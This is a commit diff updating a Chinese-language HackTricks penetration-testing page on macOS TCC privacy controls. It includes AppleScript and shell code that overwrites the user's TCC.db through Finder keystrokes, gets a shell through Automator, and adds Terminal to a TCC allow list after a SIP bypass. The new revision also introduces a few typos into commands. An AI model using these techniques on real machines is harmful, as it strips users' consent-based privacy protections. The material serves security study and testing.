Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2023-12-26 02:17:19 +00:00
parent dceb2229bb
commit 362fda5e4c

View file

@ -5,7 +5,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。 * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** * **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
@ -24,7 +24,7 @@
**TCC**由位于`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`的**守护进程**处理,并在`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`中配置注册mach服务`com.apple.tccd.system`)。 **TCC**由位于`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`的**守护进程**处理,并在`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`中配置注册mach服务`com.apple.tccd.system`)。
有一个**用户模式tccd**,为每个登录的用户运行,定义在`/System/Library/LaunchAgents/com.apple.tccd.plist`中注册mach服务`com.apple.tccd`和`com.apple.usernotifications.delegate.com.apple.tccd`。 有一个**用户模式tccd**,为每个登录的用户运行,定义在`/System/Library/LaunchAgents/com.apple.tccd.plist`中注册mach服务`com.apple.tccd`和`com.apple.usernotifications.delegate.com.apple.tccd`。
这里您可以看到作为系统和用户运行的tccd 这里您可以看到作为系统和用户运行的tccd
```bash ```bash
@ -36,30 +36,30 @@ ps -ef | grep tcc
### TCC 数据库 ### TCC 数据库
允许/拒绝操作随后存储在一些TCC数据库中 允许/拒绝操作随后存储在一些 TCC 数据库中:
* 系统范围的数据库位于 **`/Library/Application Support/com.apple.TCC/TCC.db`**。 * 系统范围的数据库位于 **`/Library/Application Support/com.apple.TCC/TCC.db`**。
* 该数据库受到**SIP保护**因此只有SIP绕过才能写入它。 * 该数据库受到 **SIP 保护**,因此只有 SIP 绕过才能写入它。
* 用户TCC数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置。 * 用户 TCC 数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置。
* 该数据库受保护因此只有具有高TCC权限的进程如完全磁盘访问才能写入它但它不受SIP保护 * 该数据库受保护,因此只有具有高TCC 权限的进程(如完全磁盘访问)才能写入它(但它不受 SIP 保护)。
{% hint style="warning" %} {% hint style="warning" %}
上述数据库也**受TCC保护以限制读取访问**。因此,除非是来自具有TCC特权的进程,否则您**无法读取**您的常规用户TCC数据库。 上述数据库也**受 TCC 保护以限制读取访问**。因此,除非是来自具有 TCC 权限的进程,否则您**无法读取**您的常规用户 TCC 数据库。
然而,请记住,具有这些高权限的进程(如**FDA**或**`kTCCServiceEndpointSecurityClient`**将能够写入用户的TCC数据库。 然而,请记住,具有这些高权限的进程(如 **FDA** **`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库。
{% endhint %} {% endhint %}
* 还有第**三个**TCC数据库位于 **`/var/db/locationd/clients.plist`**,用于指示允许**访问位置服务**的客户端。 * 还有第**三个** TCC 数据库位于 **`/var/db/locationd/clients.plist`**,用于指示允许**访问位置服务**的客户端。
* 受SIP保护的文件 **`/Users/carlospolop/Downloads/REG.db`**也受TCC保护以限制读取访问包含所有**有效TCC数据库**的**位置**。 * 受 SIP 保护的文件 **`/Users/carlospolop/Downloads/REG.db`**(也受 TCC 保护以限制读取访问),包含所有**有效 TCC 数据库**的**位置**。
* 受SIP保护的文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**也受TCC保护以限制读取访问包含更多TCC授予的权限。 * 受 SIP 保护的文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受 TCC 保护以限制读取访问),包含更多 TCC 授予的权限。
* 受SIP保护的文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(但任何人都可读)是需要TCC例外的应用程序的允许列表。&#x20; * 受 SIP 保护的文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(但任何人都可读)是需要 TCC 异常的应用程序的允许列表。&#x20;
{% hint style="success" %} {% hint style="success" %}
**iOS**中的TCC数据库位于 **`/private/var/mobile/Library/TCC/TCC.db`** **iOS** 中的 TCC 数据库位于 **`/private/var/mobile/Library/TCC/TCC.db`**
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
**通知中心UI**可以在系统TCC数据库中进行**更改** **通知中心 UI** 可以在系统 TCC 数据库中进行**更改**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -123,18 +123,18 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endtabs %} {% endtabs %}
{% hint style="success" %} {% hint style="success" %}
检查这两个数据库,您可以检查应用程序已允许、已禁止或没有的权限(它将请求权限)。 检查这两个数据库,你可以检查应用程序已允许、已禁止或没有的权限(它会请求权限)。
{% endhint %} {% endhint %}
* **`service`** 是 TCC **权限** 字符串表示 * **`service`** 是 TCC **权限**的字符串表示形式
* **`client`** 是具有权限的 **bundle ID** 或 **路径到二进制** * **`client`** 是具有权限的 **bundle ID** 或 **路径到二进制文件**
* **`client_type`** 表示它是 Bundle Identifier(0) 还是绝对路径(1) * **`client_type`** 表示它是 Bundle Identifier(0) 还是绝对路径(1)
<details> <details>
<summary>如果是绝对路径该如何执行</summary> <summary>如果是绝对路径该如何执行</summary>
只需执行 **`launchctl load your_bin.plist`**,使用类似的 plist 只需执行 **`launctl load you_bin.plist`**,使用类似的 plist
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -171,7 +171,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
</dict> </dict>
</plist> </plist>
``` ```
</details> <details>
* **`auth_value`** 可以有不同的值denied(0), unknown(1), allowed(2), 或 limited(3)。 * **`auth_value`** 可以有不同的值denied(0), unknown(1), allowed(2), 或 limited(3)。
* **`auth_reason`** 可以取以下值Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) * **`auth_reason`** 可以取以下值Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
@ -196,7 +196,7 @@ echo "X'$REQ_HEX'"
您还可以在 `系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件与文件夹` 中检查**已授予应用程序的权限**。 您还可以在 `系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件与文件夹` 中检查**已授予应用程序的权限**。
{% hint style="success" %} {% hint style="success" %}
用户_可以_使用 **`tccutil`** **删除或查询规则**&#x20; 用户 _可以_ 使用 **`tccutil`** **删除或查询规则**&#x20;
{% endhint %} {% endhint %}
#### 重置 TCC 权限 #### 重置 TCC 权限
@ -232,11 +232,11 @@ csreq -t -r /tmp/telegram_csreq.bin
### 权限和 TCC 权限 ### 权限和 TCC 权限
应用程序**不仅需要** **请求**并已被**授予访问**某些资源的权限,它们还需要**具有相关的权限**。\ 应用程序**不仅需要** **请求**并已被**授予访问**某些资源的权限,它们还需要**具有相关的权限**。\
例如,**Telegram** 有权限 `com.apple.security.device.camera` 来请求**访问摄像头**。一个**没有**这个**权限的应用程序将无法**访问摄像头(用户甚至不会被询问权限)。 例如,**Telegram** 有权限 `com.apple.security.device.camera` 来请求**访问摄像头**。一个**没有**这个**权限的应用程序将无法**访问摄像头(用户甚至不会被询问权限)。
然而,对于应用程序来说,要**访问**某些**用户文件夹**,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们**不需要**具有任何特定的**权限**。系统将透明地处理访问并在需要时**提示用户**。 然而,对于应用程序来说,要**访问**某些用户文件夹,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们**不需要**具有任何特定的**权限**。系统将透明地处理访问并在需要时**提示用户**。
苹果的应用程序**不会生成提示**。它们在其**权限**列表中包含**预先授予的权利**,这意味着它们将**永远不会生成弹出窗口****也不**会出现在任何**TCC 数据库**。例如: 苹果的应用程序**不会生成提示**。它们在其**权限**列表中包含**预先授予的权利**,这意味着它们将**永远不会生成弹出窗口****也不**会出现在任何**TCC 数据库**。例如:
```bash ```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app codesign -dv --entitlements :- /System/Applications/Calendar.app
[...] [...]
@ -247,7 +247,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string> <string>kTCCServiceAddressBook</string>
</array> </array>
``` ```
这将避免日历请求用户访问提醒事项、日历和地址簿。 这将避免日历请求用户访问提醒、日历和地址簿。
{% hint style="success" %} {% hint style="success" %}
除了一些关于权限的官方文档外,还可以在[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)找到关于权限的**非官方有趣信息**。 除了一些关于权限的官方文档外,还可以在[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)找到关于权限的**非官方有趣信息**。
@ -255,7 +255,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
一些TCC权限包括kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但你可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。 一些TCC权限包括kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但你可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
### 敏感未受保护地方 ### 敏感未受保护地方
* $HOME本身 * $HOME本身
* $HOME/.ssh、$HOME/.aws 等 * $HOME/.ssh、$HOME/.aws 等
@ -263,7 +263,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
### 用户意图 / com.apple.macl ### 用户意图 / com.apple.macl
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何TCC数据库中指定而是作为文件的**扩展** **属性**。此属性将**存储**允许应用程序的UUID 如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何TCC数据库中指定而是作为文件的**扩展属性**。此属性将**存储允许应用程序的UUID**
```bash ```bash
xattr Desktop/private.txt xattr Desktop/private.txt
com.apple.macl com.apple.macl
@ -279,12 +279,12 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
``` ```
{% hint style="info" %} {% hint style="info" %}
值得注意的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理,而不是 tccd。 值得注意的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理,而不是 tccd。
另外请注意,如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机,因为同一个应用将有不同的 UIDs它不会授予那个应用访问权限。 另外请注意,如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机,因为相同的应用将有不同的 UIDs它不会授予那个应用访问权限。
{% endhint %} {% endhint %}
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它受到 **SIP** 的保护。然而,正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),通过对文件进行**压缩****删除**然后**解压**,可以禁用它。 扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它受到 **SIP** 的保护。然而,正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),通过**压缩**文件、**删除**它然后**解压**,可以禁用它。
## TCC 权限提升与绕过 ## TCC 权限提升与绕过
@ -336,12 +336,12 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
``` ```
</details> </details>
### 自动化FDA\* ### 自动化FDA\*
TCC中自动化权限的名称是**`kTCCServiceAppleEvents`**\ TCC中自动化权限的名称是**`kTCCServiceAppleEvents`**\
这个特定的TCC权限还指了可以在TCC数据库中管理的**应用程序**(所以权限并不允许管理所有内容)。 这个特定的TCC权限还指了可以在TCC数据库中管理的**应用程序**(所以权限并不允许管理所有内容)。
**Finder**是一个**始终拥有FDA**的应用程序即使它没有出现在UI中所以如果你拥有对它的**自动化**权限,你可以滥用它的权限来**让它执行一些操作**。\ **Finder**是一个**总是拥有FDA**的应用程序即使它没有出现在UI中所以如果你拥有对它的**自动化**权限,你可以滥用它的权限来**让它执行一些操作**。\
在这种情况下,你的应用程序将需要对**`com.apple.Finder`**的**`kTCCServiceAppleEvents`**权限。 在这种情况下,你的应用程序将需要对**`com.apple.Finder`**的**`kTCCServiceAppleEvents`**权限。
{% tabs %} {% tabs %}
@ -382,12 +382,12 @@ EOD
{% endtab %} {% endtab %}
{% endtabs %} {% endtabs %}
您可以滥用此功能来**编写您自己的用户TCC数据库**。 您可以利用这一点**编写您自己的用户TCC数据库**。
{% hint style="warning" %} {% hint style="warning" %}
拥有此权限,您将能够**请求finder访问受TCC限制的文件夹**并向您提供文件,但据我所知,您**无法使Finder执行任意代码**以完全滥用其FDA访问权限。 拥有这个权限,您将能够**请求finder访问受TCC限制的文件夹**并将文件给您,但据我所知,您**无法使Finder执行任意代码**以完全利用它的FDA访问权限。
因此,您将无法滥用完整的FDA能力。 因此,您将无法完全利用FDA的能力。
{% endhint %} {% endhint %}
这是获取对Finder自动化权限的TCC提示 这是获取对Finder自动化权限的TCC提示
@ -395,12 +395,12 @@ EOD
<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %} {% hint style="danger" %}
请注意,因为**Automator**应用程序具有TCC权限**`kTCCServiceAppleEvents`**,它可以**控制任何应用程序**如Finder。所以如果您有控制Automator的权限您也可以使用下面的代码控制**Finder** 请注意,因为**Automator**应用程序具有TCC权限**`kTCCServiceAppleEvents`**,它可以**控制任何应用程序**如Finder。所以如果您有控制Automator的权限您也可以使用下面的代码控制**Finder**
{% endhint %} {% endhint %}
<details> <details>
<summary>在Automator获取一个shell</summary> <summary>在Automator获取一个shell</summary>
```applescript ```applescript
osascript<<EOD osascript<<EOD
set theScript to "touch /tmp/something" set theScript to "touch /tmp/something"
@ -422,27 +422,77 @@ EOD
``` ```
</details> </details>
同样的情况发生在**Script Editor app**它可以控制Finder但使用AppleScript你不能强制它执行脚本。 同样的情况发生在 **Script Editor 应用程序**,它可以控制 Finder但使用 AppleScript 你不能强制它执行脚本。
### 自动化 + 辅助功能(**`kTCCServicePostEvent`**)到 FDA\*
**`System Events`** 上的自动化 + 辅助功能(**`kTCCServicePostEvent`**)允许向进程发送 **按键指令**。通过这种方式,你可以滥用 Finder 来更改用户的 TCC.db 或者给任意应用程序授权 FDA尽管这样做可能会提示输入密码
Finder 覆盖用户 TCC.db 的示例:
```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate
-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1
-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1
-- Resolve $HOME environment variable
set homePath to system attribute "HOME"
-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1
-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1
-- Paste the file
keystroke "v" using {command down}
end tell
EOF
```
### **端点安全客户端到FDA** ### **端点安全客户端到FDA**
如果你有**`kTCCServiceEndpointSecurityClient`**你就拥有FDA。结束。 如果你有 **`kTCCServiceEndpointSecurityClient`**你就拥有FDA。结束。
### 系统策略SysAdmin文件到FDA ### 系统策略SysAdmin文件到FDA
**`kTCCServiceSystemPolicySysAdminFiles`** 允许**更改**用户的**`NFSHomeDirectory`** 属性,这改变了他的家目录,因此允许**绕过TCC**。 **`kTCCServiceSystemPolicySysAdminFiles`** 允许**更改**用户的 **`NFSHomeDirectory`** 属性,这改变他的家目录,因此允许**绕过TCC**。
### 用户TCC数据库到FDA ### 用户TCC数据库到FDA
获取对**用户TCC**数据库的**写权限**,你**不能**授予自己**`FDA`** 权限,只有系统数据库中的那个可以授予该权限。 获取对**用户TCC**数据库的**写权限**,你**不能**授予自己**`FDA`** 权限,只有系统数据库中的那个才能授予这个权限。
但是你**可以**给自己**`自动化权限到Finder`**并滥用前面的技术来升级到FDA\*。 但是你**可以**给自己**`自动化权限到Finder`**并滥用前面的技术来升级到FDA\*。
### **FDA到TCC权限** ### **FDA到TCC权限**
**完全磁盘访问**在TCC中的名称是**`kTCCServiceSystemPolicyAllFiles`** **全盘访问权限**在TCC中的名称是 **`kTCCServiceSystemPolicyAllFiles`**
我不认为这是一个真正的权限提升但以防你觉得它有用如果你控制了一个拥有FDA的程序你可以**修改用户的TCC数据库并给自己任何访问权限**。这可以作为一个持久性技术以防你可能失去你的FDA权限。 我不认为这是一个真正的权限提升,但以防你发现它有用:如果你控制了一个有FDA的程序你可以**修改用户的TCC数据库并给自己任何访问权限**。这可以作为一个持久性技术以防你可能失去你的FDA权限。
### **SIP绕过到TCC绕过** ### **SIP绕过到TCC绕过**
@ -453,7 +503,7 @@ EOD
* REG.db * REG.db
* MDMOverrides.plist * MDMOverrides.plist
然而,还有另一种利用这个**SIP绕过来绕过TCC**的方法,文件`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个允许需要TCC例外的应用程序的列表。因此如果攻击者能够**移除这个文件的SIP保护**并添加他**自己的应用程序**,该应用程序将能够绕过TCC。\ 然而,还有另一种方法可以滥用这个**SIP绕过来绕过TCC**,文件 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个允许列表列出了需要TCC例外的应用程序。因此如果攻击者可以**移除这个文件的SIP保护**并添加他**自己的应用程序**,那么应用程序将能够绕过TCC。\
例如添加终端: 例如添加终端:
```bash ```bash
# Get needed info # Get needed info
@ -504,7 +554,7 @@ AllowApplicationsList.plist
* 你在**网络安全公司**工作吗?你想在**HackTricks**看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 你在**网络安全公司**工作吗?你想在**HackTricks**看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。 * 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注我。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。** * **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details> </details>